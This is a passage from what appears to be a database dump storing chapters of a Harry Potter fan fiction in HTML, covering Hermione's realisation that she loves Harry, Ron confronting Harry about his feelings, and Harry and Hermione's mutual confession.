hers.&nbsp;\nHer feet finally touched the ground and she noted guiltily that his\nhands settled gently on her hips as if they were made for exactly that purpose.</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m so sorry,&#8221; she heard him whisper.</p>\n\n<p class="MsoNormal">She looked up at him and saw the misery etched on his\nface.&nbsp; She smiled at him, trying to make\nhim feel even a little better.&nbsp; &#8220;Oh,\nHarry&#8230;&#8221; she murmured, trying to find the right words to say.&nbsp; Something, <i style="mso-bidi-font-style:\nnormal">anything</i> to take away this terrible despair that she saw and felt a\nbit of herself.&nbsp; She opened her mouth,\nbut before she had a chance to speak, a sudden movement in the crowd slammed\nHarry into her.&nbsp; His arms went around her\nand his lips, those wonderfully soft lips, skimmed across her cheek.</p>\n\n<p class="MsoNormal">&#8220;Hey, someone tell Ron!&nbsp;\nHarry&#8217;s making a move on Hermione!&#8221; a complete and utter <i style="mso-bidi-font-style:normal">idiot</i> in the crowd called.&nbsp; Hermione could feel everyone&#8217;s eyes suddenly\nmove towards them, wondering if something was going on.</p>\n\n<p class="MsoNormal">&#8220;Oh, stop being so stupid!&#8221;&nbsp;\nHermione yelled back, indignant and desperately trying to salvage the\nsituation.&nbsp; &#8220;Honestly!&nbsp; Some people can&#8217;t see two people hug without\nassuming something illicit!&#8221;</p>\n\n<p class="MsoNormal">She saw Harry smile and was glad that one of them found this\namusing.&nbsp; She wondered that she was only\nexasperated with him, not furious or in a panic, but then gave up that line of\nthought for now.&nbsp; She couldn&#8217;t think with\nhim around.&nbsp; She reached up abruptly,\nwrapped her arms around his neck and tugged him downward.&nbsp; She pressed a kiss onto his forehead,\nbrushing his scar before pulling away, overcome by affection for this boy.&nbsp; She laid a gentle hand on his chest.&nbsp; &#8220;You&#8217;re my best friend, Harry.&nbsp; Don&#8217;t ever think otherwise,&#8221; she informed him\nand wondered why he flinched.</p>\n\n<p class="MsoNormal">She saw his shoulders slump and thought that he was probably\nthinking about Ron right now.&nbsp; Her\nboyfriend, her friend, the one who had screwed up the courage to ask her for a\nprivate trip to Hogsmeade, looking terrified that she would reject him, but how\ncould she when she liked him too and he was wearing his heart on his sleeve and\nhe looked so adorable and hopeful that she, logical, analytical Hermione,\nthought her heart would burst, a person who she had a genuine fondness and\naffection for, if not love, at this point&#8230;</p>\n\n<p class="MsoNormal">Love.&nbsp; Holy bloody hell.&nbsp; She loved Harry.&nbsp; She loved everything about him and wondered\nhow she hadn&#8217;t seen this earlier, from his messy hair that defied all combs and\npotions, to that stupid scar that caused him such trouble and caused a mortal\ncrisis every year, but allowed the world to see how brave and determined he\nreally was.&nbsp; She loved how he carried\nthat attitude over into Quidditch, how it allowed him to excel, even if it gave\nher a heart attack every game.&nbsp; She loved\nhow he genuinely understood her love of books and knowledge and even if he\nteased her a bit about always adding two extra rolls to her essays or didn&#8217;t\nalways share her enthusiasm for learning, he accepted that as a part of her and\nnecessary because it made her happy and didn&#8217;t view it as some sort of personal\naffront as Ron sometimes did.&nbsp; She loved\nhis humility, the way his eyes would light up at seeing something that passed\nfor common in the wizarding world, his kindness, his extraordinary, incredible\nkindness, the gentleness that suffused his entire being and let her know that\nhe would never hurt her and the loyalty that promised retribution, if she would\nlet him, for any others that did.&nbsp; He was\njust Harry and she had to love him because how could she do anything else?&nbsp; He took up her entire being, but that was\nalright because she didn&#8217;t lose herself loving him, oh no, she saw the myriad\nof possibilities stretching out before her that resulted from having him at her\nside.&nbsp; But then she saw Ron too, and she\nwondered how she could do this to him and to Harry, her best friends.&nbsp; Loving just one of them seemed like such a\nterrible betrayal to both.&nbsp; And now Harry\nwas moving away from her, but she had to get him back, had to keep him there,\nif only for a second.</p>\n\n<p class="MsoNormal">She grabbed his hand and tangled her fingers up in his.&nbsp; &#8220;You&#8217;re my best friend,&#8221; she repeated\nearnestly.&nbsp; &#8220;No matter what\nhappens.&#8221;&nbsp; She willed him to believe it, even\nif she didn&#8217;t know if she did, because how could she be just his friend when\nshe loved him so completely like this?</p>\n\n<p class="MsoNormal">He just continued to look morosely at her, though, as the\ncrowd shifted again and she was shuffled off to the side.&nbsp; &#8220;You&#8217;re my best friend, Harry Potter!&nbsp; Don&#8217;t you forget that!&#8221; she yelled, desperate\nto make him understand.</p>\n\n<p class="MsoNormal">She was on the fringes of the crowd before she knew it and\nshe knew there was no hope of getting back to him.&nbsp; Her heart was heavier than it had ever been,\nheavier than she thought she could bear.</p>\n\n<p class="MsoNormal">She loved Harry.&nbsp; And\nthere wasn&#8217;t a damn thing she could do about it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(91, 6, '\n\n\n\n\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Interlude&#8212;In Which Ron Finds Out</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry trudged into the Gryffindor common room, exhausted\nfrom Quidditch practice.&nbsp; He pushed the\nteam hard every time, so he was used to the work, but the terrible weather had\nonly served to worsen the team spirit.&nbsp; The\nrain was coming down so hard Harry could hardly see right in front of him, much\nless the Snitch, people were slipping off their brooms and none of the Chasers\ncould get a handle on the wet Quaffle.&nbsp;\nIt had been a terrible practice and Harry had finally called and end to\nit when it became clear just how useless it was.</p>\n\n<p class="MsoNormal">He looked around the room as he headed to the dorm, noting\nwith some relief that Hermione was not present.&nbsp;\nIt had become increasingly difficult to avoid her, especially once she\nnoticed his withdrawal and seemed to go out of her way to seek him out.&nbsp; Ron had started to notice his girlfriend&#8217;s\nincreasing preoccupation with her other friend and would have questioned why\nHarry seemed to shun her except that Harry had taken to avoiding Ron as well.&nbsp; Considering the number of classes the three\nof them shared, and the fact that he shared a room with Ron, this was no easy\ntask, but Harry was grimly determined to succeed.&nbsp; The less he saw of Hermione, the less in love\nwith her he would be, he figured, and the less he saw of Ron, the less his\nheart would ache with the betrayal he felt when he knew he would always love\nHermione.</p>\n\n<p class="MsoNormal">Harry scowled as he stomped up the stairs, wondering why he\nwas thinking such things.&nbsp; There were\nmore important things to concern himself with, like Quidditch or classes or,\nyou know, that thing with Voldemort trying to kill him every year.&nbsp; He pushed open the door to his room, trying\nto imagine all the ways Voldemort would try to get to him this year, when he\nnoticed Ron sitting cross-legged on his bed&#8230;Harry squinted.&nbsp; Was Ron actually reading <i style="mso-bidi-font-style:\nnormal">Hogwarts, A History</i>?&nbsp;\nHonestly, Voldemort must be losing his touch in his old age, using a\nPolyjuice Potion on one of his Death Eaters and turning them into Ron.&nbsp; Ron would never read that book.</p>\n\n<p class="MsoNormal">&#8220;Hullo, Harry,&#8221; Ron said, snapping the book shut, the sound\nvery loud in the empty room.&nbsp; &#8220;You and I\nare going to have a little talk.&#8221;&nbsp; He\npaused, sniffing the air.&nbsp; &#8220;After you\nshower, though.&#8221;</p>\n\n<p class="MsoNormal">Harry looked at him, too surprised to remember his avoidance\ntechniques.&nbsp; &#8220;We&#8217;re going to talk?&nbsp; About what?&#8221;</p>\n\n<p class="MsoNormal">Ron gazed back at him calmly.&nbsp; &#8220;About Hermione.&#8221;</p>\n\n<p class="MsoNormal">Harry flinched at that and stared at Ron a bit\nfearfully.&nbsp; Hermione?&nbsp; Why the bloody hell would he want to talk\nabout Hermione?&nbsp; As Ron pointed towards\nthe showers and Harry slowly walked there (what was he doing?&nbsp; Run away!), he cast his mind back,\nfrantically searching for some sign, beside the whole avoidance issue, that\nwould prompt Ron to think about talking about her to him.&nbsp; As he stood under the hot water, Harry\ndecided that there had been nothing to give him away.&nbsp; He had given no sign, no clue,\nwhatsoever.&nbsp; Ron just wanted to talk to\nhim about getting Hermione a present or where to treat her to a nice dinner or\nhow to tell her that he loved her.&nbsp; Harry\nwondered if it was really possible to drown oneself in the shower.&nbsp; He heard someone banging on the door.</p>\n\n<p class="MsoNormal">&#8220;If you don&#8217;t hurry up, Harry, I&#8217;m coming in and we&#8217;ll have\nour discussion there,&#8221; Ron yelled.</p>\n\n<p class="MsoNormal">Harry quickly turned off the shower, concluding that the\nshower was not the best place to hold a meeting about Hermione.&nbsp; He pulled on some clothes and padded into the\ndorm where Ron was looking out the window, leaning against the windowsill.</p>\n\n<p class="MsoNormal">&#8220;So, when did you fall in love with Hermione?&#8221; Ron asked\ncasually.</p>\n\n<p class="MsoNormal">Harry froze.&nbsp; &#8220;What?&#8221;\nhe asked sharply.</p>\n\n<p class="MsoNormal">Ron glanced back at him.&nbsp;\n&#8220;When did you fall in love with Hermione?&#8221; he repeated.</p>\n\n<p class="MsoNormal">Harry&#8217;s mind was awhirl.&nbsp;\nHow did Ron know, what was he supposed to say, did Hermione know?&nbsp; The questions chased themselves around in his\nmind, paralyzing him, until he saw that Ron was waiting for a response.&nbsp; &#8220;I&#8217;m not,&#8221; he finally croaked.</p>\n\n<p class="MsoNormal">Ron had a faintly reproachful look on his face.&nbsp; &#8220;Harry, you&#8217;re in Gryffindor, not\nSlytherin.&nbsp; You couldn&#8217;t lie to save your\nlife.&nbsp; Well, except for that thing first\nyear.&nbsp; Your cunning plan to completely\navoid Hermione and me was just short of blindingly obvious.&#8221;</p>\n\n<p class="MsoNormal">Harry gaped at him.&nbsp;\nWell, maybe he should employ Malfoy&#8217;s help on this then, he thought\nwildly.&nbsp; Maybe he should talk to Malfoy\nabout some strategies for Voldemort.</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m not, really,&#8221; he insisted.&nbsp; </p>\n\n<p class="MsoNormal">&#8220;Despite what Malfoy may say,&#8221; Ron said quietly, &#8220;I&#8217;m not\nstupid.&nbsp; When you can&#8217;t avoid us, I see\nhow you look at her.&nbsp; It&#8217;s just a quick\nflash, when you first see her, but it&#8217;s there.&#8221;</p>\n\n<p class="MsoNormal">&#8220;Quidditch match, three months ago,&#8221; Harry heard himself\nsay.&nbsp; Shut up, shut up, shut UP, a voice\nin his mind shrieked.&nbsp; What was wrong\nwith him?</p>\n\n<p class="MsoNormal">Ron looked a little surprised that Harry had actually\nadmitted it so quickly and calmly, but then nodded slightly.&nbsp; &#8220;Yeah, that fits in.&nbsp; Started avoiding her after that, and me not\nlong after.&#8221;</p>\n\n<p class="MsoNormal">&#8220;Does she know?&#8221; Harry asked.&nbsp; No, of course not, he answered himself.&nbsp; Otherwise she would get that hurt look in her\neyes when she saw him.&nbsp; It would just be\npity instead.</p>\n\n<p class="MsoNormal">Ron shook his head.&nbsp;\n&#8220;No, she thinks she did something wrong or You-Know-Who has done\nsomething to you or is planning to.&nbsp;\nAbout any number of possibilities has crossed her mind.&nbsp; But not that you&#8217;re in love with her.&#8221;</p>\n\n<p class="MsoNormal">Harry sighed in relief, thanking the gods for small\nmercies.&nbsp; &#8220;Look, tell her I&#8217;m okay,\nalright?&nbsp; Tell her--&#8221;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m not telling her anything,&#8221; Ron interrupted firmly.&nbsp; &#8220;You are.&nbsp;\nIn fact, you&#8217;re going to show her everything&#8217;s okay.&nbsp; You&#8217;re going to Hogsmeade with her.&nbsp; Right now.&#8221;</p>\n\n<p class="MsoNormal">Harry looked at him blankly, hardly believing what he just\nheard.&nbsp; &#8220;You&#8217;re setting me up with\nher?&nbsp; Are you mad?&nbsp; Have you gone completely bonkers?&#8221;</p>\n\n<p class="MsoNormal">Ron frowned.&nbsp; &#8220;What?&#8221;</p>\n\n<p class="MsoNormal">&#8220;Did you not hear what I just said?&#8221; he asked, almost\nshouting.&nbsp; &#8220;I love her!&nbsp; I love Hermione!&#8221;&nbsp; Now he was shouting.&nbsp; &#8220;Your girlfriend!&nbsp; One of my best friends!&nbsp; What if I snap?&nbsp; Just lose control and snog her senseless?&#8221;</p>\n\n<p class="MsoNormal">&#8220;Well, I imagine Hermione would hex you into next week if\nyou tried and then I would stomp you to little bits,&#8221; Ron replied\nirritably.&nbsp; &#8220;Why are you making such a\nbig deal about this?&#8221;</p>\n\n<p class="MsoNormal">&#8220;I.&nbsp; Love.&nbsp; Her,&#8221; Harry hissed.&nbsp; &#8220;And she&#8217;s my best friend, and you are too,\nbut she&#8217;s <i style="mso-bidi-font-style:normal">your</i> girlfriend.&nbsp; Why aren&#8217;t you angry over this?&#8221;</p>\n\n<p class="MsoNormal">&#8220;Because despite your actions over the past few months,&#8221; Ron\nsaid, his voice rising slightly, &#8220;I&#8217;d like to think that you are still my best\nfriend and even if you weren&#8217;t, you were, and I think I know you well enough,\nand for some unknowable reason at this point, <i style="mso-bidi-font-style:\nnormal">trust</i> you enough to not to make a move on her!&nbsp; Besides the fact that I trust Hermione and I\ndon&#8217;t think she&#8217;ll do anything either!&#8221;</p>\n\n<p class="MsoNormal">Harry just looked at him in shock, wondering what he had\ndone to deserve a friend like Ron.&nbsp; He\nhad just admitted that he loved his girlfriend and Ron said he trusted\nhim?&nbsp; &#8220;Why aren&#8217;t you angry, Ron?&#8221; he\nasked again.&nbsp; </p>\n\n<p class="MsoNormal">Ron ran a hand through his hair and chuckled\nmirthlessly.&nbsp; &#8220;Maybe I&#8217;ve turned a new\nleaf.&nbsp; Or maybe I&#8217;m just so bloody livid\nand furious over this that it&#8217;s fractured my personality because I can&#8217;t deal\nwith it.&nbsp; Or maybe I&#8217;m turning into\nPercy.&#8221;</p>\n\n<p class="MsoNormal">Harry actually managed a small smile.&nbsp; &#8220;Perish the thought.&#8221;</p>\n\n<p class="MsoNormal">Ron returned the smile, but then frowned.&nbsp; &#8220;Look, just go, alright?&nbsp; I&#8217;m doing this as much for her as for\nmyself.&nbsp; Now that I&#8217;ve actually heard you\nsay,&#8221; he took a deep breath, &#8220;<i style="mso-bidi-font-style:normal">that</i>, I\nneed to sort things out.&nbsp; By myself.&nbsp; Just don&#8217;t be surprised if I meet you coming\nback at the door and challenge you to a duel.&#8221;</p>\n\n<p class="MsoNormal">Harry smiled a bit more.&nbsp;\n&#8220;You&#8217;re a terrible dueler, Ron.&#8221;</p>\n\n<p class="MsoNormal">Ron shook his head.&nbsp;\n&#8220;Who said anything about a wizarding duel?&nbsp; Maybe it&#8217;ll be one of those&#8230;what did Hermione\ncall them&#8230;oh, right, mano a mano.&nbsp; Bare\nknuckles and all that.&#8221;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve played Quidditch for six years, Ron.&#8221;</p>\n\n<p class="MsoNormal">Ron grinned wolfishly.&nbsp;\n&#8220;And I have five older brothers.&nbsp;\nTwo of them are named Fred and George.&#8221;</p>\n\n<p class="MsoNormal">Harry paused, considering.&nbsp;\n&#8220;Well, I suppose if one of us manages to win, the loser will have the\ncomfort of knowing that Hermione will strangle the winner with her bare hands.&#8221;</p>\n\n<p class="MsoNormal">They both laughed a little at that, and then sobered.&nbsp; &#8220;Go,&#8221; Ron said in a noticeably neutral\nvoice.&nbsp; &#8220;She&#8217;s probably back from the\nlibrary by now.&#8221;</p>\n\n<p class="MsoNormal">Harry looked at Ron for a long moment, and then nodded.&nbsp; If Ron trusted him to do this, then he\nwould.&nbsp; Even if it killed him.&nbsp; He left Ron standing by the window, and\nslowly went down the stairs to find Hermione sitting on the sofa, staring at\nthe fire.</p>\n\n<p class="MsoNormal">&#8220;Hey,&#8221; he said softly, willing himself not to reach out and\ntouch her.</p>\n\n<p class="MsoNormal">She looked up, surprised.&nbsp;\n&#8220;Hello, Harry,&#8221; she said softly.&nbsp;\nA wary look came into her eyes, like she was trying to figure out how to\nnot scare him off.&nbsp; &#8220;Why&#8230;what&#8230;I mean,\nwhy--&#8221;</p>\n\n<p class="MsoNormal">He ran a hand through his hair and cut her off.&nbsp; &#8220;Look, do you want to pop over to Hogsmeade\nfor a bit?&nbsp; Head over to the Three Broomsticks\nfor a bit?&nbsp; We can&#8230;talk.&#8221;</p>\n\n<p class="MsoNormal">&#8220;The weather is terrible, Harry.&#8221;</p>\n\n<p class="MsoNormal">Oh, God, this was awful.&nbsp;\nThey were talking about the <i style="mso-bidi-font-style:normal">weather</i>.&nbsp; He shrugged.&nbsp;\n&#8220;Well, it&#8217;s not like I don&#8217;t know any secret underground passages or\nanything.&#8221;</p>\n\n<p class="MsoNormal">She looked at him consideringly for a long time, long enough\nthat Harry was terrified that she was just going walk away, which would be\nunderstandable given the way he had treated both her and Ron, but she finally\nnodded.&nbsp; &#8220;Alright,&#8221; she said, quietly.&nbsp; &#8220;Just let me get my cloak.&#8221;</p>\n\n<p class="MsoNormal">So he waited patiently for her and tried not to suck in a\nbreath when he saw her come down the stairs, looking so happy that she\nglowed.&nbsp; How was he going to do this, how\ncould he be by her and not say something or do something or reach out and run a\nthumb over her cheek or better yet her lips?</p>\n\n<p class="MsoNormal">&#8220;Harry, are we going to go?&#8221;</p>\n\n<p class="MsoNormal">His gaze refocused on her and he smiled and nodded his\nhead.&nbsp; Ron trusted him, Ron trusted him&#8230;</p>\n\n<p class="MsoNormal">&#8220;Sorry, let&#8217;s go.&#8221;&nbsp;\nHermione nodded and went out the portrait hole.&nbsp; Harry followed, careful not to touch her or\nstand too close or look too long or think about how desperately he loved her.</p>\n\n<p class="MsoNormal">Looking back, Harry couldn&#8217;t say how he survived, but he\ndid.&nbsp; Walking through the school, down\nthe passage and through Hogsmeade was torture at first, but Harry just kept\nthinking about Ron and his incredible show of trust.&nbsp; Hermione seemed determined to keep him\naround, and made sure the conversation was light.&nbsp; By the time they walked into the Three\nBroomsticks, they were laughing at some silly joke and by the end of the night,\nthey had almost returned their friendship to the point before that cursed\nQuidditch match.&nbsp; They talked about all\nmanner of subjects, from Quidditch to classes to Voldemort.&nbsp; Hermione never brought up his strange absence\nfrom their lives and Harry didn&#8217;t offer.</p>\n\n<p class="MsoNormal">So when they walked back through Hogsmeade, down the passage\nand through the school, Harry had a considerably lighter heart.&nbsp; As long as he didn&#8217;t think about it too much,\nand was careful of what he said, he could be Hermione&#8217;s friend.&nbsp; They said goodbye at the foot of the stairs,\nstill a strange little stiffness in their speech and actions, and went to their\nrooms.</p>\n\n<p class="MsoNormal">When Harry walked in, he was hit by something a little&#8230;off,\nin the room.&nbsp; He looked around, trying to\nfigure out what was wrong.&nbsp; It came to\nhim suddenly.&nbsp; The room was perfect.&nbsp; Nothing out of place.&nbsp; Normally, the boys&#8217; dorm was a disaster on a\ngood day, but even when the house elves came through, the room wasn&#8217;t this\nclean.&nbsp; It was like someone had made a\nterrible mess, but then cleaned everything up in hopes that no one would\nnotice, but had gone too far.&nbsp; Even the\nwindows sparkled.&nbsp; </p>\n\n<p class="MsoNormal">Harry looked uneasily over at Ron&#8217;s bed, but he was already\nasleep.&nbsp; Harry moved over to his own bed,\nthen noticed something on one of the posters of his bed.&nbsp; He walked over to inspect in more\nclosely.&nbsp; There was a hairline fracture\nthat ran the complete length of the poster.&nbsp;\nAnd suddenly Harry knew that Ron had done this, knew that he did this\nwith his fists, not magic, had ruined the rest of the room while he and\nHermione were away at Hogsmeade, then tried to clean it up before they got back.&nbsp; Harry frowned.&nbsp; Then why not fix this?&nbsp; Why leave it?</p>\n\n<p class="MsoNormal">Harry sucked in a breath.&nbsp;\n<i style="mso-bidi-font-style:normal">Ron wanted Harry to know</i>.&nbsp; None of the other boys would notice how clean\nthe room was or the crack in Harry&#8217;s bed.&nbsp;\nRon had indulged his temper in a truly spectacular way, and no one but\nhe and Harry would know.&nbsp; He really had\nbeen furious with Harry.&nbsp; Harry wondered\nif his temper would still be around tomorrow, but doubted it.&nbsp; He knew somehow that whatever anger Ron had,\nhe had expended it here, away from him and everyone else.&nbsp; But he had made sure that no one else would\nknow, no one else would figure out that something had been dreadfully wrong the\nlegendary Trio.&nbsp; And Harry was fine with\nthat.&nbsp; He wouldn&#8217;t talk about it, not\nwith Ron, not with anyone else.&nbsp; As far\nas he was concerned, a cracked bedpost was a small price to pay for what he had\ndone.&nbsp; He climbed into bed, and looked\nover in Ron&#8217;s direction again.</p>\n\n<p class="MsoNormal">&#8220;Take a picture, it&#8217;ll last longer,&#8221; Ron muttered.</p>\n\n<p class="MsoNormal">Harry smiled.&nbsp; &#8220;No\nduels?&#8221; he asked lightly.</p>\n\n<p class="MsoNormal">&#8220;Too tired.&nbsp; Need\nsleep.&nbsp; Have Potions exam tomorrow.&#8221;</p>\n\n<p class="MsoNormal">Harry groaned.&nbsp; He had\nforgotten all about that.&nbsp; He heard Ron\nchuckle.&nbsp; &#8220;Forgot about that, did\nyou?&nbsp; Don&#8217;t worry.&nbsp; We&#8217;ll do okay.&nbsp; Always do.&#8221;</p>\n\n<p class="MsoNormal">Harry nodded, Ron&#8217;s words warming him for some reason.&nbsp; </p>\n\n<p class="MsoNormal"><i style="mso-bidi-font-style:normal">We&#8217;ll do okay.&nbsp; Always do.</i></p>\n\n\n\n\n\n\n'),
	(91, 7, '\n\n\n\n\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Realizations&#8212;Those Damn Pink Elephants</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Today, Harry decided, was an exceptionally good day.&nbsp; It had been unseasonably warm the entire\nweek, which had lifted the spirits of everyone (even Professor Snape, as much\nas his spirits could be lifted), it was Friday afternoon after classes, and he,\nRon and Hermione were outside by the lake, along with several other students,\nenjoying the warm sunshine.&nbsp; In fact,\nbarring the whole intense-unrequited-love-for-Hermione situation,\ntoday was perfect.</p>\n\n<p class="MsoNormal">Harry had gotten used to feeling that dull ache in his heart\nwhenever he saw Hermione, but he had learned last year that he could at least\nstill be friends with her.&nbsp; His\nrelationship with Ron (and overall emotional well-being) had improved\nconsiderably over the summer. &nbsp;Harry\nremembered the day he had received the letter from Ron which had tersely\nexplained that he and Hermione had broken up.&nbsp;\nHarry was sure that this had something to do with him (i.e. Hermione had\nfound out, Ron couldn&#8217;t take it anymore, etc.), and had morosely fed Pig and\nsent him on his way, morosely laid on his bed and thought morose thoughts about\nthe breakup and his part in it, morosely went down to dinner and morosely\npassed the potatoes.&nbsp; In general, he was morose,\nwhich delighted the Dursley&#8217;s to no end, as they\nhadn&#8217;t even been particularly trying to make his life miserable.</p>\n\n<p class="MsoNormal">The next day, Harry had received another letter from Ron via\nPig.&nbsp; <i style="mso-bidi-font-style:normal">If\nyou think</i>, it began, <i style="mso-bidi-font-style:normal">that Hermione\nfound out, or I snapped, or you had anything to do with this, you&#8217;re stupider\nthan you look.&nbsp; Not everything is about\nyou, you great prat.</i>&nbsp; Harry could practically see Ron rolling his\neyes at Harry&#8217;s state of mind and that picture along with the letter were so <i style="mso-bidi-font-style:normal">Ron</i> that Harry couldn&#8217;t help but be\ncheered.&nbsp; This, of course, had depressed\nthe Dursley&#8217;s.&nbsp;\nThen the twins and Ron had come to get him a few days later and it was a\nclassic Weasley boy plan, because it had involved magic carpets, Aunt Petunia,\ncanary creams, Dudley as a seahorse, hippogriffs, broomsticks and several revolting\nimages of some veela and Uncle Vernon which Harry was\nsure he could never scour from his mind no matter how hard he tried.</p>\n\n<p class="MsoNormal">His time at the Burrow was happy and relatively\ncarefree.&nbsp; He and Ron had talked about\nthe breakup the first night.&nbsp; Ron explained\nthat he had been thinking about his relationship with Hermione a lot over the\nsummer and had come to the conclusion that they just weren&#8217;t compatible as\nanything more than friends.&nbsp; They were\ntoo different in such fundamental ways that it would never work out.&nbsp; Hermione had seemed surprised when he told\nher (probably over the fact that he had actually done some serious thinking,\nRon dryly noted), but had agreed with his analysis.&nbsp; There were no hysterics, no crying\ndeclarations of love, which had just proved in Ron&#8217;s mind that this was the\nright thing to do.&nbsp; The warmth of\nfriendship spread between them once again.&nbsp;\nHermione warned Ron that if he thought she would pity him because of the\nbreakup and not encourage him to study for the N.E.W.T.s, he was crazier\nthan Fred and George.&nbsp; Ron had informed\nher that only truly insane bookworms would consider studying for exams that\nwere ten months away and before school even started.&nbsp; And they were off, arguing for the rest of\nthe day.</p>\n\n<p class="MsoNormal">Harry was happy because the breakup really hadn&#8217;t been about\nhim, Ron coming to a reasoned(!) decision on his\nown.&nbsp; Whatever lingering strain there had\nbeen between the two boys was cleared up that night.&nbsp; Their friendship was stronger than ever and\nthey had spent the rest of their time there de-gnoming\nthe garden, making trouble with Fred and George, avoiding Mrs. Weasley and even\ntalking about Hermione and when they would see her and how fast she would say\nsomething about the N.E.W.T.s.&nbsp; Harry won with a&nbsp; daring &#8220;30 seconds after she sees us,\nafter she says hello to both of us, but before she asks us how the rest of our\nsummer was.&#8221;&nbsp; Ron had scoffed that 30\nseconds was too quick even for Hermione, but Harry was a few Honeyduke&#8217;s sweets richer after seeing her.&nbsp; </p>\n\n<p class="MsoNormal">Yes, everything was wonderful between Harry and Ron, a\nbloody fairytale, which only left this blasted problem with Hermione, who was\nsitting next to him, the sun, sitting low on the horizon, casting a golden glow\nover her features, making her even more&#8212;</p>\n\n<p class="MsoNormal">&#8220;Beautiful,&#8221; Harry whispered, staring at her.</p>\n\n<p class="MsoNormal">Hermione cast a startled glance over in his direction.&nbsp; &#8220;What?&#8221;<br>\nHarry really needed to learn to control his mouth.&nbsp; Words kept popping out at the most\ninopportune moments around her.&nbsp; &#8220;I said\nyou were beautiful.&#8221;&nbsp; Like that.</p>\n\n<p class="MsoNormal">Hermione gaped at him, doing a spectacular imitation of a\nfish.&nbsp; &#8220;But why&#8230;I mean, thank you, but\nwhy would&#8230;&#8221;&nbsp; She shook her head, and\nfinally got the words out.&nbsp; &#8220;Why did you\nsay that?&#8221;</p>\n\n<p class="MsoNormal">That was an excellent question, Harry thought.&nbsp; It was true, of course, she was beautiful,\nbut it didn&#8217;t exactly fit in with his plan to avoid saying anything like that\nto Hermione and to keep their friendship just that&#8212;friendly.&nbsp; If he said anything suspicious, he knew, just\n<i>knew</i>, that she would either freak out and run away and he would lose the\nwoman he loved and his best friend, or possibly even worse, she would look at\nhim with a terrible pity in her eyes and explain, logically, point by point,\nwhy she could never love him.&nbsp; Nothing\nventured, nothing gained, his arse.&nbsp; Nothing ventured, nothing lost.</p>\n\n<p class="MsoNormal">&#8220;Well, friends can compliment each other, right?&#8221; he\nasked.&nbsp; &#8220;That&#8217;s what I did.&nbsp; Although,&#8221; he said, injecting a light tone\ninto his voice and grinning a bit, &#8220;I don&#8217;t think I&#8217;ve heard you compliment me\nin return, Miss Granger.&#8221;&nbsp; Watch it,\nHarry warned himself.&nbsp; That was\ndangerously close to flirting.&nbsp; At least,\nas flirting as Harry ever got.</p>\n\n<p class="MsoNormal">Hermione stared at him, eyes wide and blushing.&nbsp; &#8220;Er, I think you&#8217;re\nbeautiful, I mean, handsome, as well,&#8221; she managed.&nbsp; &#8220;Very handsome.&#8221;</p>\n\n<p class="MsoNormal">Harry looked at her in surprise.&nbsp; &#8220;You think I&#8217;m very handsome?&#8221;&nbsp; </p>\n\n<p class="MsoNormal">She nodded, ducking her head a bit shyly.</p>\n\n<p class="MsoNormal">Harry smiled, warmed by her words.&nbsp; &#8220;Thank you,&#8221; he said, blushing himself.&nbsp; He did a little mental dance, feeling a bit\nlike what he imagined a twelve year old girl must feel like.&nbsp; Hermione thinks I&#8217;m cute!</p>\n\n<p class="MsoNormal">But all too quickly, the moment passed and Hermione picked\nup a book <i>(Hogwarts, a History</i>, which even Ron agreed qualified as\nlight, pleasure reading for her by now) and quickly became engrossed in\nit.&nbsp; Harry felt oddly disappointed by\nthis, which was just stupid because, looking back, that whole exchange had been\nflirtatious and he was right because now Hermione wasn&#8217;t looking at him or\nspeaking to him and he shouldn&#8217;t have said anything and everything was ruined.</p>\n\n<p class="MsoNormal">Harry wondered if he had become a twelve year old girl with\nall the melodramatic thoughts he had been having lately.</p>\n\n<p class="MsoNormal">Harry sighed and looked at Hermione.&nbsp; She was biting her lip, frowning at something\nin the book.&nbsp; It was such a typical\nHermione pose that Harry couldn&#8217;t help but smile.&nbsp; Reading\na book she must have gone over a million times before, and still finding new\nfacts or new information to process.&nbsp; Harry\nthought of all the books, all the research Hermione must have done over her\nlife and boggled at how unbelievably intelligent she must be.&nbsp; And she sorted it all out so that he and Ron\ncould (mostly) understand.&nbsp; He was\novercome by such a wave of affection and love for this girl that he could\nhardly stand it.&nbsp; Everything about her\namazed him, from her astonishing brain to her incredible compassion.&nbsp; And, quite frankly, her legs weren&#8217;t that bad\neither.</p>\n\n<p class="MsoNormal">Then his brain short circuited once again.</p>\n\n<p class="MsoNormal">&#8220;I love you,&#8221; Harry said.</p>\n\n<p class="MsoNormal">Oh, dammit.&nbsp; What was wrong with him?&nbsp; Hermione was looking at him as if he had\ngrown a second head and she was doing her fish imitation again.&nbsp; Harry looked miserably at the lake, wondering\nif the squid would be kind enough to strangle him.&nbsp; Their friendship was over,\nshe would walk away right now&#8212;</p>\n\n<p class="MsoNormal">&#8220;I love you, too,&#8221; Hermione said softly.</p>\n\n<p class="MsoNormal">Harry blinked.&nbsp; &#8220;Oh,&#8221;\nhe said.&nbsp; &#8220;Well, alright then.&#8221;&nbsp; Alright then?&nbsp; <i style="mso-bidi-font-style:\nnormal">Alright then</i>?&nbsp; He\nproclaims his love for her, she says she loves him and he says &#8216;alright then&#8217;?&nbsp; What was wrong with him?&nbsp; This was incredible!&nbsp; Momentous!&nbsp;\nAl-damn-right then?</p>\n\n<p class="MsoNormal">Hermione was looking at him strangely.&nbsp; &#8220;Harry, are you alright?&nbsp; You look&#8230;angry.&#8221;</p>\n\n<p class="MsoNormal">&#8220;I am angry!&#8221; he said loudly.&nbsp; &#8220;I said I love you!&nbsp; You love me!&nbsp;\nI shouldn&#8217;t say alright then.&nbsp; It\nshouldn&#8217;t just be this&#8230;this calm acceptance!&nbsp;\nThere should be drama, histrionics, earthquakes, fire and brimstone!&nbsp; Something other than, &#8216;Oh, of course she\nloves me!&#8217;&nbsp; I&#8217;ve loved you for over a\nyear!&nbsp; You were with Ron!&nbsp; Unrequited love for my best friend and this\nis how it ends up?&nbsp; <i 